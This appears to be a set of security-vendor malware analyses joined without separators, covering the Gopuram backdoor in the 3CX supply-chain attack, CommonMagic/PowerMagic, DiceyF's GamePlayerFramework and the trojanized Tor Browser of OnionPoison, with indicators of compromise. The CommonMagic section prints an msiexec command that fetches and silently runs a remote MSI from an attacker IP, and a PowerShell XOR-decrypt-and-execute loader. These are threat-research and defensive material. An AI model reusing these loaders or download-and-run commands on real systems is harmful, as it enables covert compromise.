We initiated our investigation back in 2022, starting with simple malicious PowerShell scripts deployed by an unknown actor and ended up discovering and attributing two large related modular frameworks: CommonMagic and CloudWizard. As our research demonstrates, their origins date back to 2008, the year the first Prikormka samples were discovered. Since 2017, there have been no traces of Groundbait and BugDrop operations. However, the actor behind these two operations has not ceased their activity, and has continued developing their cyberespionage toolset and infecting targets of interest for more than 15 years.

Indicators of compromise

NSIS installer

MD5 0edd23bbea61467f144d14df2a5a043e
SHA256 177f1216b55058e30a3ce319dc1c7a9b1e1579ea3d009ba965b18f795c1071a4

Loader (syncobjsup.dll)

MD5 a2050f83ba2aa1c4c95567a5ee155dca
SHA256 041e4dcdc0c7eea5740a65c3a15b51ed0e1f0ebd6ba820e2c4cd8fa34fb891a2

Orchestrator (Main.dll)

MD5 0ca329fe3d99acfaf209cea559994608
SHA256 11012717a77fe491d91174969486fbaa3d3e2ec7c8d543f9572809b5cf0f2119

Domains and IPs

91.228.147[.]23
curveroad[.]com

On March 29, Crowdstrike published a report about a supply chain attack conducted via 3CXDesktopApp, a popular VoIP program. Since then, the security community has started analyzing the attack and sharing their findings. The following has been discovered so far:

• The infection is spread via 3CXDesktopApp MSI installers. An installer for macOS has also been trojanized.
• The malicious installation package contains an infected dll library that decrypts a shellcode from the d3dcompiler_47.dll library’s overlay and executes it.
• The decrypted payload extracts C2 server URLs from icons stored in a GitHub repository (the repository is removed).
• The payload connects to one of the C2 servers, downloads an infostealer and starts it.
• The infostealer collects system information and browser history, then sends it to the C2 server.

As we reviewed available reports on the 3CX attack, we began wondering if the compromise concluded with the infostealer or further implants followed. To answer that question, we decided to review the telemetry we had on the campaign. On one of the machines, we observed a DLL named guard64.dll, which was loaded into the infected 3CXDesktopApp.exe process. Interestingly enough, we opened an investigation into a case linked to that DLL on March 21, about a week before the supply chain attack was discovered. A DLL with that name was used in recent deployments of a backdoor that we dubbed “Gopuram” and had been tracking internally since 2020. Three years ago, we were investigating an infection of a cryptocurrency company located in Southeast Asia. During the investigation, we found that Gopuram coexisted on victim machines with AppleJeus, a backdoor attributed to the Korean-speaking threat actor Lazarus.

Over the years, we observed few victims compromised with Gopuram, but the number of infections began to increase in March 2023. As it turned out, the increase was directly related to the 3CX supply chain attack. We found out that the threat actor specifically targeted cryptocurrency companies, dropping the following files on infected machines:

• C:\Windows\system32\wlbsctrl.dll, a malicious library (MD5: 9f85a07d4b4abff82ca18d990f062a84);
• C:\Windows\System32\config\TxR\<machine hardware profile GUID>.TxR.0.regtrans-ms, an encrypted shellcode payload.

Once dropped, wlbsctrl.dll becomes loaded on every startup by the IKEEXT service via DLL hijacking. We further saw DLLs with the names ualapi.dll and ncobjapi.dll being sideloaded into spoolsv.exe and svchost.exe, respectively.

The wlbsctrl.dll library is responsible for decrypting and executing the shellcode stored in the C:\Windows\System32\config\TxR directory. The decryption is notably performed through the CryptUnprotectData API function that uses a different encryption key internally on every machine. This makes it difficult for researchers to decrypt the payload from the file without physical access to the victim machines.

Snippet of the loading function using CryptUnprotectData

The component loaded by the library is Gopuram’s main module. As mentioned above, its name in the export directory is guard64.dll. The job of the main module is to connect to a C2 server and request commands. The backdoor implements commands that allow the attackers to interact with the victim’s file system and create processes on the infected machine. Gopuram was additionally observed to launch in-memory modules. Just like the implants used in the 3CX campaign, Gopuram’s modules are DLL files that include an export function named DllGetClassObject. We have observed nine modules so far:

The discovery of the new Gopuram infections allowed us to attribute the 3CX campaign to the Lazarus threat actor with medium to high confidence. Our attribution is based on the following facts:

• While investigating an attack on a Southeast Asian cryptocurrency company in 2020, we found Gopuram coexisting on the same machine with the AppleJeus backdoor, which is attributed to Lazarus.

• The Gopuram backdoor has been observed in attacks on cryptocurrency companies, which is aligned with the interests of the Lazarus threat actor.

• While looking for additional implants that used the same loader shellcode as the 3CX implants, we discovered a sample on a multiscanner service (MD5: 933508a9832da1150fcfdbc1ca9bc84c) loading a payload that uses the wirexpro[.]com C2 server. The same server is listed as an IoC for an AppleJeus campaign by Malwarebytes.

  

  First bytes of the loader shellcode used in 3CX and AppleJeus

  Note, though, that the shellcode is based on open-source code that has been used by other threat actors, for example, SilentBreak. Still, the use of that shellcode along with the 0xF558F4DA constant (which is the ROR13 hash for the string DllGetClassObject) is a more unique pattern.

• While investigating a malicious MSI file (MD5: ec3f99dd7d9dbce8d704d407b086e84f) that has been uploaded to a multiscanner service, we observed the following two events:

  • The dll library dropped from the MSI was observed to launch an in-memory payload that contacts the oilycargo[.]com domain. This domain name has previously been attributed to Lazarus by multiple researchers.

  • In our telemetry, we observed AvBugReport.exe, the executable hosting dll, to contain Gopuram’s main module payload, guard64.dll.

These four facts allow us to conclude that Lazarus is likely the threat actor deploying the Gopuram backdoor.

As for the victims in our telemetry, installations of the infected 3CX software are located all over the world, with the highest infection figures observed in Brazil, Germany, Italy and France.

As the Gopuram backdoor has been deployed to less than ten infected machines, it indicates that attackers used Gopuram with surgical precision. We additionally observed that the attackers have a specific interest in cryptocurrency companies.

As it turns out, the infostealer is not the only malicious payload deployed during the 3CX supply chain attack. The threat actor behind Gopuram additionally infects target machines with the full-fledged modular Gopuram backdoor. We believe that Gopuram is the main implant and the final payload in the attack chain. Our investigation of the 3CX campaign is still far from complete. We will continue analyzing the deployed implants to find out more details about the toolset used in the supply chain attack.

Gopuram indicators of compromise

MD5 hashes
9f85a07d4b4abff82ca18d990f062a84
96d3bbf4d2cf6bc452b53c67b3f2516a

File paths
C:\Windows\System32\config\TxR\<machine hardware profile GUID>.TxR.0.regtrans-ms
C:\Windows\system32\catroot2\edb.chk.log

More indicators of compromise and YARA rules for detecting Gopuram components are available for TIP subscribers. Contact intelreports@kaspersky.com for more details.

Since the start of the Russo-Ukrainian conflict, Kaspersky researchers and the international community at large have identified a significant number of cyberattacks executed in a political and geopolitical context. We previously published an overview of cyber activities and the threat landscape related to the conflict between Russia and Ukraine and continue to monitor new threats in these regions.

In October 2022, we identified an active infection of government, agriculture and transportation organizations located in the Donetsk, Lugansk, and Crimea regions. Although the initial vector of compromise is unclear, the details of the next stage imply the use of spear phishing or similar methods. The victims navigated to a URL pointing to a ZIP archive hosted on a malicious web server. The archive, in turn, contained two files:

• A decoy document (we discovered PDF, XLSX and DOCX versions)
• A malicious LNK file with a double extension (e.g., .pdf.lnk) that leads to infection when opened

Malicious ZIP archive

Decoy Word document (subject: Results of the State Duma elections in the Republic of Crimea)

In several cases, the contents of the decoy document were directly related to the name of the malicious LNK to trick the user into activating it. For example, one archive contained an LNK file named “Приказ Минфина ДНР № 176.pdf.lnk” (Ministry of Finance Decree No. 176), and the decoy document explicitly referenced it by name in the text.

Decoy PDF with reference to a malicious shortcut file (subject: information about DPR Ministry of Finance Decree No. 176)

The ZIP files were downloaded from various locations hosted on two domains: webservice-srv[.]online and webservice-srv1[.]online

Known attachment names, redacted to remove personal information:

When the potential victim activates the LNK file included in the ZIP file, it triggers a chain of events that lead to the infection of the computer with a previously unseen malicious framework that we named CommonMagic. The malware and techniques used in this campaign are not particularly sophisticated, but are effective, and the code has no direct relation to any known campaigns.

Infection chain

Infection chain

Installation workflow

The malicious LNK points to a remotely hosted malicious MSI file that is downloaded and started by the Windows Installer executable.

%WINDIR%\System32\msiexec.exe /i 
http://185.166.217[.]184/CFVJKXIUPHESRHUSE4FHUREHUIFERAY97A4FXA/attachment.msi /quiet

The MSI file is effectively a dropper package, containing an encrypted next-stage payload (service_pack.dat), a dropper script (runservice_pack.vbs) and a decoy document that is supposed to be displayed to the victim.

Files contained in attachment.msi

The encrypted payload and the decoy document are written to the folder named %APPDATA%\WinEventCom. The VBS dropper script is, in turn, a wrapper for launching an embedded PowerShell script that decrypts the next stage using a simple one-byte XOR, launches it and deletes it from disk.

Decryption of service_pack.dat

$inst="$env:APPDATA\WinEventCom\service_pack.dat";
if (!(Test-Path $inst)){
	return;
}
$binst=[System.IO.File]::ReadAllBytes($inst);
$xbinst=New-Object Byte[] $binst.Count;
for ($i=0;$i-lt$binst.Count;$i++) {
	$xbinst[$i]=$binst[$i]-bxor0x13;
	$xbinst[$i]=$binst[$i]-bxor0x55;
	$xbinst[$i]=$binst[$i]-bxor0xFF;
	$xbinst[$i]=$binst[$i]-bxor0xFF;
};
Try {
	[System.Text.Encoding]::ASCII.GetString($xbinst)|iex;
}
Catch {};
Start-Sleep 3;
Remove-Item -Path $inst -Force

The next-stage script finalizes the installation: it opens the decoy document to display it to the user, writes two files named config and manutil.vbs to %APPDATA%\WinEventCom, and creates a Task Scheduler job named WindowsActiveXTaskTrigger, to execute the wscript.exe%APPDATA%\WinEventCom\manutil.vbs command every day.

The PowerMagic backdoor

The script manutil.vbs, which is dropped by the initial package, is a loader for a previously unknown backdoor written in PowerShell that we named PowerMagic. The main body of the backdoor is read from the file %APPDATA%\WinEventCom\config and decrypted with a simple XOR (key: 0x10).

Snippet of PowerMagic’s code containing the “powermagic” string

$AppDir='powermagic';
$ClinetDir='client';
$ClinetTaskDir='task';
$ClinetResultDir='result';
$ClientToken=redacted
$dbx_up='https://content.dropboxapi.com/2/files/upload';
$dbx_down = 'https://content.dropboxapi.com/2/files/download';

When started, the backdoor creates a mutex – WinEventCom. Then, it enters an infinite loop communicating with its C&C server, receiving commands and uploading results in response. It uses OneDrive and Dropbox folders as transport, and OAuth refresh tokens as credentials.

Every minute the backdoor performs the following actions:

1. Modifies the heartbeat file located at /$AppDir/$ClientDir/<machine UID> (the values of the $AppDir and $ClientDir PowerShell variables may differ between samples). The contents of this file consist of the backdoor PID and a number incremented by one with each file modification.
2. Downloads commands that are stored as a file in the /$AppDir/$ClientTaskDir directory.
3. Executes every command as a PowerShell script.
4. Uploads the output of the executed PowerShell command to the cloud storage, placing it in the /$AppDir/$ClientResultDir/<victim machine UUID>.<timestamp> file.

The CommonMagic framework

As it turned out, PowerMagic was not the only malicious toolkit used by the actor. All the victims of PowerMagic were also infected with a more complicated, previously unseen, modular malicious framework that we named CommonMagic. This framework was deployed after initial infection with the PowerShell backdoor, leading us to believe that CommonMagic is deployed via PowerMagic.

The CommonMagic framework consists of several executable modules, all stored in the directory C:\ProgramData\CommonCommand. Modules start as standalone executable files and communicate via named pipes. There are dedicated modules for interaction with the C&C server, encryption and decryption of the C&C traffic and various malicious actions.

The diagram below illustrates the architecture of the framework.

Framework architecture

Network communication

The framework uses OneDrive remote folders as a transport. It utilizes the Microsoft Graph API using an OAuth refresh token embedded into the module binary for authentication. The RapidJSON library is used for parsing JSON objects returned by the Graph API.

A dedicated heartbeat thread updates the remote file <victim ID>/S/S.txt every five minutes with the local timestamp of the victim.

Then, in separate threads, the network communication module downloads new executable modules from the directory <victim ID>/M and uploads the results of their execution to the directory <victim ID>/R.

The data exchanged with the operator via the OneDrive location is encrypted using the RC5Simple open-source library. By default, this library uses the seven-byte sequence “RC5SIMP” at the beginning of the encrypted sequence, but the developers of the backdoor changed it to “Hwo7X8p”. Encryption is implemented in a separate process, communicating over the pipes named \\.\pipe\PipeMd and \\.\pipe\PipeCrDtMd.

Plugins

So far, we have discovered two plugins implementing the malicious business logic. They are located in the directory C:\ProgramData\CommonCommand\Other.

• Screenshot (S.exe) – takes screenshots every three seconds using the GDI API
• USB (U.exe) – collects the contents of the files with the following extensions from connected USB devices: .doc, .docx. .xls, .xlsx, .rtf, .odt, .ods, .zip, .rar, .txt, .pdf.

To be continued

So far, we have found no direct links between the samples and data used in this campaign and any previously known actors. However, the campaign is still active, and our investigation continues. So, we believe that further discoveries may reveal additional information about this malware and the threat actor behind it.

CommonMagic indicators of compromise

Lure archives
0a95a985e6be0918fdb4bfabf0847b5a новое отмена решений уик 288.zip (new cancellation of resolution local election committee 288.zip)
ecb7af5771f4fe36a3065dc4d5516d84 внесение_изменений_в_отдельные_законодательные_акты_рф.zip (making changes to several russian federation laws.zip)
765f45198cb8039079a28289eab761c5 гражданин рб (redacted) .zip (citizen of republic of belarus (redacted).zip)
ebaf3c6818bfc619ca2876abd6979f6d цик 3638.zip (central election committee 3638.zip)
1032986517836a8b1f87db954722a33f сз 14-1519 от 10.08.22.zip (memo 14-1519 dated 10.08.22.zip)
1de44e8da621cdeb62825d367693c75e приказ минфина днр № 176.zip (dpr ministry of finance order #176.zip)

PowerMagic installer
fee3db5db8817e82b1af4cedafd2f346 attachment.msi

PowerMagic dropper
bec44b3194c78f6e858b1768c071c5db service_pack.dat

PowerMagic loader
8c2f5e7432f1e6ad22002991772d589b manutil.vbs

PowerMagic backdoor
1fe3a2502e330432f3cf37ca7acbffac

CommonMagic loader
ce8d77af445e3a7c7e56a6ea53af8c0d All.exe

CommonMagic cryptography module
9e19fe5c3cf3e81f347dd78cf3c2e0c2 Clean.exe

CommonMagic network communication module
7c0e5627fd25c40374bc22035d3fadd8 Overall.exe

Distribution servers
webservice-srv[.]online
webservice-srv1[.]online
185.166.217[.]184

The Hacktivity 2022 security festival was held at the MOM Cultural Center in Budapest, Hungary, over two days, October 6-7^th 2022. One of several presentations by our GReAT researchers included an interesting set of APT activity targeting online casino development and operations environments in Southeast Asia. A recorded video of the presentation is already online. You can watch it here:

All of our research, including a full set of IoCs and Yara rules, is written up in the two-part report “DiceyF Deploys GamePlayerFramework in Online Casino Development Studio”, already available to our private report subscribers. Some technical analysis from the report is provided here, along with a reference set of IoCs. You can find more information about trial and pay report subscription options at intelreports@kaspersky.com.

Who is at the table

We call this APT “DiceyF”. They have been targeting online casinos and other victims in Southeast Asia reportedly for years now. Our research shows overlap with LuckyStar PlugX, a supply chain incident privately reported. TTPs, secure messaging client abuse, malware, and targeting demonstrate that this set of activity and resources align with Earth Berberoka/GamblingPuppet activity discussed at Botconf 2022 by Trend Micro researchers, also discussed as an unknown or developing cluster by other vendors. Prior to “Operation Earth Berberoka”, Trend Micro reported on “Operation DRBControl”, which also aligns with this activity and resource set.

So, do we have another Ocean’s Eleven Clooney-Pitt duo targeting the largest casinos for shocking levels of criminality, revenge, and theft? No we don’t. In the related DiceyF incident that we report on, there was no evidence observed to date of immediate financial motivation or cash theft. Instead, previous incidents reported by TrendMicro researchers have exhibited customer PII database exfiltration and source code theft. Possibly we have a mix of espionage and IP theft, but the true motivations remain a mystery.

Rolling the dice

An interesting combination of detections and characteristics sparked interest in this activity. These data points included

• PlugX installers signed by a potentially stolen digital certificate from a secure messaging client development studio
• Malware distribution via an employee monitoring system and a security package deployment service
• Unusual .NET code signed with the same potentially stolen certificate and calling back to the same domain as the PlugX C2

In November 2021, multiple PlugX loaders and payloads were detected in a network, which is often a wearisome topic to investigate. However, this time, the PlugX installer triad was deployed via two methods as an executable signed with a legitimate digital certificate — an employee monitoring service and a security package deployment service. This legitimate digital certificate appeared to have been stolen from a development and build studio for a secure messaging client. These PlugX payloads communicated with a C2 at apps.imangolm[.]com. Not much later, this same security package deployment service was used to push GamePlayerFramework downloaders, with these downloaders communicating with the same C2, and signed with the same digital certificate.

Further research revealed a targeting profile suggesting an online casino development studio, and later, recruited/outsourced development systems on disparate networks. Waves of .NET downloader deployments followed and coincided with the PlugX deployments, signed by the same digital certificate.

These downloaders maintained PDB strings with “PuppetLoader” filepaths. These PuppetLoader strings pretty clearly connected the multistage loaders with past PuppetLoader downloaders, only this time, redesigned and rewritten in C#. Past PuppetLoaders, written in C++, maintain explicit strings:

The new .NET code maintains similar strings, reflecting the previous codebase from several years ago.

While these findings were being analyzed and reported, the folks from Trend Micro reported on GamblingPuppet/Earth Berberoka at Botconf, and we are confident that this DiceyF GamePlayerFramework activity is a subsequent campaign with a newly developed core malware set. This APT, DiceyF, aligns the previously reported GamblingPuppet and Operation DRBControl resources and activity, which we also observed in earlier data as well:

• PlugX and PuppetLoader multistage loader
• Online casino targeting in Southeast Asia
• Lack of evidence presenting a financial motivation (Trend Micro observed customer database and source code exfiltration in Operation DRBControl)
• Chinese language in use, particularly GamePlayerFramework error strings and plugin names and paths
• Data theft focus for backdoors includes keystrokes and clipboard
• Stolen digital certificate re-use
• Obscure secure messaging client as delivery vehicle for malware and cloak for malicious activity

GamePlayerFramework is a complete C# rewrite of the previously mentioned PuppetLoader C++/assembly malware. This “framework” includes downloaders, launchers, and a set of plugins that provide remote access and steal keystrokes and clipboard data. The newer (summer 2022) executables are mostly all 64-bit .NET compiled with .NET v4.5.1, but some are 32-bit, or DLLs and compiled with .NET v4.0. There are at least two branches to this framework, “Tifa” and “Yuna”, and both branches maintain new modules, incrementally modified over time:

• D:\Code\Fucker\GamePlayerFramework\Tifa\*.pdb
• C:\Users\fucker\Desktop\Fucker\GamePlayerFramework\Tifa\*.pdb
• D:\Code\Fucker\GamePlayerFramework\Yuna\*.pdb

FinalFantasy code quirks

Players may be familiar with the FinalFantasy game series, where Tifa and Yuna are two of the main characters. The Tifa and Yuna branches are different from one another: the Tifa branch includes only a downloader and a “core” module; the Yuna branch includes a downloader, plugins, and various PuppetLoader components, at least a dozen in total. Even the downloaders are fairly different from one another. As a matter of fact, the Yuna.Downloader code changes quite a bit over time, including with JSON parsing, logging, and encryption capabilities. Ongoing code development is on display here.

The Tifa branch of code was deployed to victims first in November 2021, and these Tifa downloaders maintain more primitive functionality than the later Yuna downloaders. Additionally, it appears that code-signing coordination was not well organized in November. Except for one Tifa executable that was signed, two of the three Tifa downloaders were unsigned code, unlike the Yuna downloaders.

The initial Tifa downloaders were already using “Mango” and “Mongo” function names just like artifacts found in Yuna downloaders, along with the aforementioned apps.imangolm[.]com C2 used by the PlugX implant. Later Yuna downloaders were distributed with the filename “mango.exe”. Two of the Tifa.Downloader variants introduced a “DownloaderVersion” string, likely for the attackers to maintain backwards compatibility on the server side. Some later Yuna.Downloader variants increase in functionality and complexity, but multiple early variants and the Tifa branch are quite simple.

Loading the framework

Once downloaded and persistence set up, multiple components load the framework. The overall process of loading the framework can be summarized with the following graph:

This load sequence results in running the “Launcher” component. Despite the name, the main functionality of this module is not to perform launching. Instead, it is the orchestrator of the framework, i.e. it manages all the framework components. After completing the startup process, the orchestrator starts sending heartbeat packets to the C2 server every 20 seconds. Each such packet is a XOR-encrypted JSON object that contains the following information:

• Username of the logged-in user
• Current user session status (locked or unlocked)
• Size of logs collected by the clipboard recorder plugin
• Current date and time

The C2 responds with one of fifteen commands.

Plugins overview

Plugins are EXE files that execute most of the framework’s malicious activities. Plugins can be configured to be downloaded from the C2 server when the framework starts up or is loaded at any other time using one of the commands above. During its execution, a plugin may connect to the C2 server and receive commands from it. Information about running plugins is stored in the C:\ProgramData\NVIDIA\DisplaySessionContainer1.ini file.

All plugins of the framework are stored in a fileless way. Whenever a plugin is downloaded from the C2 server, it is loaded into the framework with the following procedure:

• The orchestrator selects a random port from 10000 to 20000 and launches a local TCP socket server on it.
• The orchestrator creates a new svchost.exe process in suspended mode and injects the api-ms-win-core-sys-l1-0-5.dll library mentioned in the “Loading the Framework” section.
• The injected library loads the PuppetLoader.Downloader component with the following arguments: -LoadName <plugin name> -PacketId <internal ID of the network packet with the plugin payload> -Port <server port generated at the first step>.
• The Yuna.PuppetLoader.Downloader component downloads the plugin executable from the local TCP server and loads it using Load.

The strings of the orchestrator component reference the following plugin names:

• Plugin.采集系统 (Acquisition System)
• Plugin.隐藏进程 (Hidden Process)
• Plugin.SSH
• Plugin.常用功能插件 (General Purpose Plugin)
• Plugin.SessionCmd
• Plugin.端口转发 (Port Forwarding)
• Plugin.屏幕传输 (Screen Transfer)
• Plugin.虚拟桌面 (Virtual Desktop)
• Plugin.剪贴板 (Clipboard)
• Plugin.ChromeCookie
• Plugin.FirefoxCookie

While tracking deployments of GamePlayerFramework, we observed several plugins out of the list above being used: General Purpose Plugin, Clipboard and Virtual Desktop.

Malicious app with graphical interface

The application deployed through installation packages of security solutions was designed to mimic an application that synchronizes data of the Mango messaging application. Below is the window displayed to the victim when this application starts:

Window of the malicious “Mango Employee Account Data Synchronizer”

In order to make the victim user trust the malicious window, the attackers employed social engineering. As can be seen from the screenshot above, they included the name of the victim organization and even the floor where the organization’s IT department is located. At the same time, the visible window makes this application less suspicious to security solutions.

When started, this application:

• Connects to the C2 server via a TCP socket. The address and port of the server is specified in the binary. In case connection fails, the application displays a message window with the “无法连接到芒果员工数据同步服务器! 请反馈至IT部门!” text (“Unable to connect to Mango employee data synchronization server! Please report back to the IT department”).
• Sends the following information to the C2 server:
• Version of the installed Mango messenger
• Machine name
• Current username
• Operation system version
• List of local IPv4 addresses
• Receives a JSON object containing a Boolean value named IsErrorMachine. If it is set to true, the application displays a message window with the “尚未认证的机器, 请到10楼的IT部添加机器认证” text (“Machines that have not been certified, please go to the IT department on the 10th floor to add machine certification”) and exits.
• Launches the exe executable located inside the same directory as the application. The internal name of this file is Yuna.Downloader.

The code is under continuous incremental change and its versioning reflects a semi-professional management of the codebase modifications. Over time, the group added Newtonsoft JSON library support, enhanced logging, and encryption for logging.

Infrastructure

As described above, much of the early implants’ (both PlugX and the downloaders) communications activity calls back to infrastructure by resolving FQDN for infrastructure located in Southeast Asia. Later into April 2022, some of the Yuna.Downloaders began communicating directly with a hardcoded IP address.

Conclusion

There are many interesting characteristics of DiceyF campaigns and TTPs. The group modifies their codebase over time, and develops functionality in the code throughout their intrusions.

Organizations need to maintain solid efforts in monitoring software deployed across their organizations. The deployment systems themselves and the deployment process require heightened monitoring and maintenance: what gets deployed, when it gets deployed, and whose credentials are being used. The systems themselves need to be hardened and security products installed and updated.

GamePlayerFramework enabled DiceyF, the actor behind this framework, to perform cyberespionage activities with some level of stealth. The initial infection method is noteworthy in that the framework is distributed via installation packages deployed through security solution control centers. Furthermore, the components of this framework are signed with a digital certificate that makes the framework more trusted by security solutions. In order to further disguise the malicious components, attackers added a graphical interface to some of them. Such implants are masqueraded as components of a messenger that is used at the victim organizations. To make sure that victims did not become suspicious of the disguised implants, attackers obtained information about targeted organizations (such as the floor where the organization’s IT department is located) and included it inside graphic windows displayed to victims. They also used service names, file paths, digital signing certificates, and other artifacts from NVIDIA, Mango, and other legitimate software. Plugins of GamePlayerFramework allow extensive monitoring of victim machines. For example, they are able to monitor keystrokes and the clipboard, browse websites located inside the organization’s local network, or establish virtual desktop sessions. And over the course of several months, DiceyF developers added more encryption capabilities to better hide their logging and monitoring activities. In the future, we expect to see an increase in the number of plugins and observe more unusual defense evasion methods in this framework.

Finally, the deployment tactic used here isn’t quite as sophisticated as infecting an external component of the supply chain itself, but can be extremely effective.

IOCs

MD5

Tifa.Downloader
ddbc9081ed2c503c5e4512a8e61b5389

Tifa.Core
49b457ee8eaa83b18cc00d2f579824c6

Yuna.Downloader
06711900cc5d7cd665bc1b6ec9d7eacf
1d59e527886e4bd72df0f609239b9d58

Yuna.Downloader and Yuna.Launcher containing legitimate Newtonsoft DLL
0c4dae01f21c3d2fa55f38314fe34958
39736c93f7d9cc62cdc00438c174f8a4

Yuna.Launcher
07d6bf2df064e97d0e635a67f083f87d
0ac4e0e08bd28e88acd4991071c98261

Yuna.Plugin.General
cb8a30fcbcb462be66462f6928c6e44a

Yuna.Plugin.ClipboardRecorder
294c22533c950d7d9d74a82729ba3841

Yuna.PuppetLoader.CodeLauncher
07ff76be283fb44ce9e9427e12e63aa6

Yuna.PuppetLoader.Guard
031466c63bba4eafb11f2966e765c0d2

Yuna.PuppetLoader.Downloader
0c4dae01f21c3d2fa55f38314fe34958
19f8809d04c06bba2ad95a937f133a89

Yuna.PuppetLoader.ProcessLoader
969ef4a64203ba2ab54a6822559600cc

Yuna.Downloader.DLL.Core
56836b19b5c35c81e006f4843ff63e51

Mango.Sync.Updater
3a1780e6fb6250b0fb63d2884788670e
4d72e573d9c4d31371c8020ba7179daf

VPN spoofing DLL
193d192ed0cec2487d18b13aedc94cb6

rascustoms.dll
2bd3b84b318beb5714cac9194078607a

Domains
apps.imangolm[.]com
archivess.imangoim[.]net

PDB paths
D:\Code\Fucker\GamePlayerFramework\Yuna\Yuna.Downloader\obj\Release\Yuna.Downloader.pdb
D:\Code\Fucker\GamePlayerFramework\Yuna\Yuna.Launcher\obj\Release\Yuna.Launcher.pdb
D:\Code\Fucker\GamePlayerFramework\Yuna\Yuna.Plugin.ClipboardRecorder\obj\Release\Yuna.Plugin.ClipboardRecorder.pdb
D:\Code\Fucker\GamePlayerFramework\Yuna\Yuna.Plugin.General\obj\Release\Yuna.Plugin.General.pdb
D:\Code\Fucker\GamePlayerFramework\Yuna\Yuna.Plugin.Installer\obj\Release\Yuna.Plugin.Installer.pdb
D:\Code\Fucker\GamePlayerFramework\Yuna\Yuna.PuppetLoader.CodeLauncher\obj\Release\VpnSohDesktop.pdb
D:\Code\Fucker\GamePlayerFramework\Yuna\Yuna.PuppetLoader.Downloader\obj\Release\Yuna.PuppetLoader.Downloader.pdb
D:\Code\Fucker\GamePlayerFramework\Yuna\Yuna.PuppetLoader.Guard\obj\Release\Yuna.PuppetLoader.Guard.pdb
D:\Code\Fucker\GamePlayerFramework\Yuna\Yuna.PuppetLoader.ProcessLoader\obj\Release\Yuna.PuppetLoader.ProcessLoader.pdb

While performing regular threat hunting activities, we identified multiple downloads of previously unclustered malicious Tor Browser installers. According to our telemetry, all the victims targeted by these installers are located in China. As the Tor Browser website is blocked in China, individuals from this country often resort to downloading Tor from third-party websites. In our case, a link to a malicious Tor installer was posted on a popular Chinese-language YouTube channel devoted to anonymity on the internet. The channel has more than 180,000 subscribers, while the view count on the video with the malicious link exceeds 64,000. The video was posted in January 2022, and the campaign’s first victims started to appear in our telemetry in March 2022.

The installation of the malicious Tor Browser is configured to be less private than the original Tor. Unlike the legitimate one, the infected Tor Browser stores browsing history and data entered into website forms. More importantly, one of the libraries bundled with the malicious Tor Browser is infected with spyware that collects various personal data and sends it to a command and control server. The spyware also provides the functionality to execute shell commands on the victim machine, giving the attacker control over it.

We decided to dub this campaign ‘OnionPoison’, naming it after the onion routing technique that is used in Tor Browser.

Screenshot of the video with a link to the malicious Tor Browser installer in the description section

Initial infection

Victims of the OnionPoison campaign likely reach the video with the malicious link after a YouTube search. The video heads the list of search results for the ‘Tor浏览器’ (‘Tor Browser’ in Chinese) query. The description of the video contains two links: the first one goes to the official Tor Browser website, while the other leads to a malicious Tor Browser installer executable hosted on a Chinese cloud sharing service. As the original Tor website is banned in China, viewers of the video have to navigate to the cloud sharing service link in order to download the browser.

Download page of the malicious Tor Browser installer

The malicious installer

The user interface of the malicious Tor Browser installer is identical to the original one. However, the malicious installer does not have a digital signature, and some of the files dropped by the malicious installer differ from the ones bundled with the original installer:

What is also interesting about the malicious Tor Browser installation is that the adversaries made it less private. By modifying the \defaults\preferences\000-tor-browser.js configuration file that is stored in the browser\omni.ja archive, they have configured Tor to:

• Store the browsing history;
• Enable caching of pages on disk;
• Enable automatic form filling and memorization of login data;
• Store extra session data for websites.

Snippets of the modified (left) and original (right) 000-tor-browser.js file

The freebl3.dll library

When Tor Browser (either the legitimate or the infected one) starts up, it loads the freebl3.dll library into the address space of a firefox.exe process. In the case of the infected browser installation, the adversaries replaced this library with a malicious one. To ensure Tor functions correctly, this malicious library proxies all its exports to freebl.dll (a copy of the original freebl3.dll library).

Forwarded exports of the malicious freebl3.dll library

Upon startup, the malicious library creates a mutex with the name Global\TBrowser that prevents two instances of the malware from running at the same time. It then pseudorandomly chooses one of the following C2 server URLs and makes a POST request to it:

• https://torbrowser.io/metrics/geoip
• https://tor-browser.io/metrics/geoip

Interestingly, the POST request made to the C2 server contains the following headers:

In response to the POST request, the C2 server returns a blob containing an encrypted second stage payload. This payload is decrypted using two XOR keys: the first key is derived from the payload length, while the second key is D65CB35A-58CB-4456-A7B7-E1B218770A9E. After decrypting the blob, the malicious DLL decompresses it using the RtlDecompressBuffer function, thus obtaining another DLL file. The malware then reflectively loads this DLL and invokes its entry point function.

Obtaining the DLL from the C2 infrastructure

During our research, we attempted to communicate with the C2 server and retrieve the second stage DLL. At first, the server did not return the DLL in response to our POST request. Then, through trial and error, we discovered that the C2 server checks the IP address of the victim machine and only dispatches the payload to victims from China. After making a POST request from a machine with a Chinese IP address, we successfully downloaded the second stage DLL. We can therefore say that the OnionPoison campaign targets users that are located in China. Another thing to note is that the IP address check makes it difficult to obtain the second stage payload via automated malware analysis sandboxes.

The second stage DLL

When loaded, the second stage DLL retrieves the following system information:

• GUID of the operating system disk volume;
• Machine GUID;
• Computer name;
• Computer locale;
• Current user name;
• MAC addresses of network adapters.

If launched for the first time on the victim machine, the DLL also generates a pseudorandom victim GUID and saves it inside in the SoftGuid value of the HKCU\SOFTWARE\Mozilla\Firefox registry key.

After collecting system information, the DLL starts sending heartbeat messages to the C2 server every two minutes. The body of every heartbeat message contains a JSON object with collected system information. Heartbeats are sent as POST requests to either the https://torbrowser.io/metrics/heartbeat or the https://tor-browser.io/metrics/heartbeat URL. The DLL also encrypts the request body by first encrypting it with a pseudorandom AES-128 (ECB) key and then encrypting the AES key with an RSA public key specified in the configuration.

In response to heartbeats, the C2 server may request to collect the following additional information:

• Installed software;
• Running processes;
• TOR browser history;
• Google Chrome and Edge history;
• IDs of WeChat and QQ accounts that belong to the victim;
• SSIDs and MAC addresses of Wi-Fi networks to which the victims are connected.

The collected additional information is sent to the C2 server together with the next heartbeat message.

In addition to that, the C2 server may request to execute an arbitrary shell command on the victim machine. To do so, the DLL creates a new cmd.exe process, passing the command as an argument. It also redirects the output of the command line process to a pipe that is later used to retrieve the command execution results. Once the shell command finishes executing, its results are encrypted (also with a combination of symmetric and asymmetric cryptography) and sent via a POST request to either the https://torbrowser.io/metrics/geoip or the https://tor-browser.io/metrics/geoip URL.

An interesting fact about the C2 server websites is that they are visually identical to the original Tor Browser website. The browser download links on the replica website lead to the legitimate Tor Browser website.

Screenshot of the torbrowser[.]io webpage

Victims

According to our telemetry, all detections appear to be geographically located in China. This was to be expected because, as we mentioned above, the C2 server checks that the external IP address of the victim’s machine originates from China.

Conclusion

